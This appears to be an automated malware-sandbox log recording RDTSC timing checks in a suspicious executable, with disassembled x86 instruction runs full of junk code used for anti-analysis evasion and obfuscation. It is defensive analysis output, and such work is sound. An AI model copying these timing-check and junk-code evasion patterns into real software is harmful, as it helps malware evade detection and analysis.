Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: A0D383 second address: A0D3B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE804FE5CD4h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FE804FE5CCEh 0x00000015 push eax 0x00000016 push edx 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: A0D3B4 second address: A0D3C4 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE804B276C6h 0x00000008 jnc 00007FE804B276C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: A0D3C4 second address: A0D3CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: A0D3CA second address: A0D3D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D103C1 second address: 4D10412 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804FE5CCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FE804FE5CD6h 0x0000000f push eax 0x00000010 jmp 00007FE804FE5CCBh 0x00000015 xchg eax, ebp 0x00000016 jmp 00007FE804FE5CD6h 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D10412 second address: 4D10416 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D10416 second address: 4D1041C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D1041C second address: 4D1042B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE804B276CBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D1042B second address: 4D1042F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D308AE second address: 4D308E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804B276CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FE804B276D6h 0x0000000f push eax 0x00000010 jmp 00007FE804B276CBh 0x00000015 xchg eax, ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D308E7 second address: 4D308EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D308EB second address: 4D308F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D308F1 second address: 4D308F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D308F7 second address: 4D308FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D308FB second address: 4D30945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FE804FE5CCEh 0x00000011 xor eax, 16595EF8h 0x00000017 jmp 00007FE804FE5CCBh 0x0000001c popfd 0x0000001d movzx esi, bx 0x00000020 popad 0x00000021 push esi 0x00000022 jmp 00007FE804FE5CD0h 0x00000027 mov dword ptr [esp], ecx 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D30945 second address: 4D3094B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D3094B second address: 4D30951 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D30951 second address: 4D30955 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D30955 second address: 4D30959 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D30959 second address: 4D3097D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FE804B276D9h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D3097D second address: 4D30983 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D30983 second address: 4D30987 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D30987 second address: 4D309CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop eax 0x0000000e pushfd 0x0000000f jmp 00007FE804FE5CD7h 0x00000014 or cl, FFFFFFDEh 0x00000017 jmp 00007FE804FE5CD9h 0x0000001c popfd 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D309CB second address: 4D309F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 3EF2h 0x00000007 mov dh, 58h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, esi 0x0000000d jmp 00007FE804B276D2h 0x00000012 lea eax, dword ptr [ebp-04h] 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D309F3 second address: 4D30A10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804FE5CD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D30A10 second address: 4D30A30 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 2DB2h 0x00000007 mov ebx, 167572FEh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FE804B276CCh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D30A30 second address: 4D30A3F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804FE5CCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D30A3F second address: 4D30A57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE804B276D4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D30A57 second address: 4D30A93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jmp 00007FE804FE5CD7h 0x00000010 push dword ptr [ebp+08h] 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FE804FE5CD5h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D30AE5 second address: 4D30AEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D2016A second address: 4D20170 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D20170 second address: 4D20174 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D20174 second address: 4D20186 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov cl, bl 0x0000000e mov di, si 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D20186 second address: 4D2018C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D2018C second address: 4D201D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov edx, 5E2E1E68h 0x0000000f pushfd 0x00000010 jmp 00007FE804FE5CD1h 0x00000015 xor ax, 9DD6h 0x0000001a jmp 00007FE804FE5CD1h 0x0000001f popfd 0x00000020 popad 0x00000021 mov ebp, esp 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FE804FE5CCDh 0x0000002a rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D201D6 second address: 4D201DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D201DC second address: 4D201ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub esp, 2Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D201ED second address: 4D201F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D201F1 second address: 4D201F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D201F7 second address: 4D201FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D201FD second address: 4D20201 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D20201 second address: 4D20221 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FE804B276CEh 0x0000000e mov dword ptr [esp], ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D20221 second address: 4D20225 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D20225 second address: 4D2022B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D2022B second address: 4D20231 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D20231 second address: 4D20235 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D20235 second address: 4D2026B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804FE5CCEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, edi 0x0000000c jmp 00007FE804FE5CD0h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FE804FE5CCEh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D2026B second address: 4D20291 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 625B92F4h 0x00000008 call 00007FE804B276CDh 0x0000000d pop esi 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 xchg eax, edi 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FE804B276CAh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D20291 second address: 4D20297 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D20297 second address: 4D2029B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D20337 second address: 4D203BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ax, B9C3h 0x00000008 popad 0x00000009 popad 0x0000000a inc ebx 0x0000000b jmp 00007FE804FE5CD6h 0x00000010 test al, al 0x00000012 jmp 00007FE804FE5CD0h 0x00000017 je 00007FE804FE5EABh 0x0000001d pushad 0x0000001e jmp 00007FE804FE5CCEh 0x00000023 mov cx, 9501h 0x00000027 popad 0x00000028 lea ecx, dword ptr [ebp-14h] 0x0000002b pushad 0x0000002c call 00007FE804FE5CCAh 0x00000031 movzx ecx, di 0x00000034 pop ebx 0x00000035 pushfd 0x00000036 jmp 00007FE804FE5CCCh 0x0000003b or eax, 02506D48h 0x00000041 jmp 00007FE804FE5CCBh 0x00000046 popfd 0x00000047 popad 0x00000048 mov dword ptr [ebp-14h], edi 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f pushad 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D203BF second address: 4D203C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D203C3 second address: 4D203C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D203C9 second address: 4D203D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, 83AFh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D2042B second address: 4D20454 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jmp 00007FE804FE5CCCh 0x0000000e call 00007FE804FE5CD2h 0x00000013 pop esi 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D20454 second address: 4D2045B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D2046E second address: 4D20472 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D20472 second address: 4D20478 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D20478 second address: 4D2047E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D2047E second address: 4D20482 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D20482 second address: 4D204FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804FE5CD6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test eax, eax 0x0000000d pushad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 mov cx, 7B59h 0x00000015 popad 0x00000016 pushfd 0x00000017 jmp 00007FE804FE5CD6h 0x0000001c add cx, 2DE8h 0x00000021 jmp 00007FE804FE5CCBh 0x00000026 popfd 0x00000027 popad 0x00000028 jg 00007FE8756B3C80h 0x0000002e jmp 00007FE804FE5CD6h 0x00000033 js 00007FE804FE5D27h 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c mov ax, bx 0x0000003f mov eax, edx 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D204FD second address: 4D20503 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D20503 second address: 4D20507 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D20507 second address: 4D2050B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D2050B second address: 4D2057A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [ebp-14h], edi 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FE804FE5CD6h 0x00000012 sbb esi, 659065D8h 0x00000018 jmp 00007FE804FE5CCBh 0x0000001d popfd 0x0000001e movzx esi, bx 0x00000021 popad 0x00000022 jne 00007FE8756B3C1Dh 0x00000028 jmp 00007FE804FE5CCBh 0x0000002d mov ebx, dword ptr [ebp+08h] 0x00000030 jmp 00007FE804FE5CD6h 0x00000035 lea eax, dword ptr [ebp-2Ch] 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b mov eax, edi 0x0000003d mov ax, di 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D2057A second address: 4D20590 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FE804B276D0h 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D20621 second address: 4D20642 instructions: 0x00000000 rdtsc 0x00000002 mov ax, A353h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE804FE5CD5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D20658 second address: 4D2065C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D2065C second address: 4D20673 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804FE5CD3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D20673 second address: 4D206F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804B276D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, eax 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FE804B276CCh 0x00000012 sbb ax, 3CC8h 0x00000017 jmp 00007FE804B276CBh 0x0000001c popfd 0x0000001d mov eax, 06D5D23Fh 0x00000022 popad 0x00000023 test esi, esi 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007FE804B276D7h 0x0000002e sub esi, 794073BEh 0x00000034 jmp 00007FE804B276D9h 0x00000039 popfd 0x0000003a push ecx 0x0000003b pop ebx 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D206F7 second address: 4D20051 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edi 0x00000005 mov di, 392Ah 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c je 00007FE8756B3C18h 0x00000012 xor eax, eax 0x00000014 jmp 00007FE804FBF3FAh 0x00000019 pop esi 0x0000001a pop edi 0x0000001b pop ebx 0x0000001c leave 0x0000001d retn 0004h 0x00000020 nop 0x00000021 sub esp, 04h 0x00000024 mov edi, eax 0x00000026 xor ebx, ebx 0x00000028 cmp edi, 00000000h 0x0000002b je 00007FE804FE5ED7h 0x00000031 call 00007FE8095B2CF8h 0x00000036 mov edi, edi 0x00000038 pushad 0x00000039 pushfd 0x0000003a jmp 00007FE804FE5CD3h 0x0000003f or cl, 0000002Eh 0x00000042 jmp 00007FE804FE5CD9h 0x00000047 popfd 0x00000048 mov dx, ax 0x0000004b popad 0x0000004c xchg eax, ebp 0x0000004d pushad 0x0000004e mov ecx, 148596AFh 0x00000053 mov edx, eax 0x00000055 popad 0x00000056 push eax 0x00000057 push eax 0x00000058 push edx 0x00000059 jmp 00007FE804FE5CCCh 0x0000005e rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D20051 second address: 4D20057 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D20057 second address: 4D20083 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a push edi 0x0000000b mov bx, ax 0x0000000e pop ecx 0x0000000f movsx ebx, cx 0x00000012 popad 0x00000013 mov ebp, esp 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FE804FE5CD5h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D20B15 second address: 4D20B49 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE804B276CDh 0x00000009 add ax, F466h 0x0000000e jmp 00007FE804B276D1h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov dword ptr [esp], ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D20B49 second address: 4D20B5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804FE5CD2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D20B5F second address: 4D20B71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE804B276CEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D20B71 second address: 4D20BB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804FE5CCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FE804FE5CCBh 0x00000016 or ecx, 5F07E9AEh 0x0000001c jmp 00007FE804FE5CD9h 0x00000021 popfd 0x00000022 movzx eax, dx 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 4D20BB7 second address: 4D20C0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804B276CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [7544459Ch], 05h 0x00000010 jmp 00007FE804B276D0h 0x00000015 je 00007FE8751E54E9h 0x0000001b jmp 00007FE804B276D0h 0x00000020 pop ebp 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FE804B276D7h 0x00000028 rdtsc
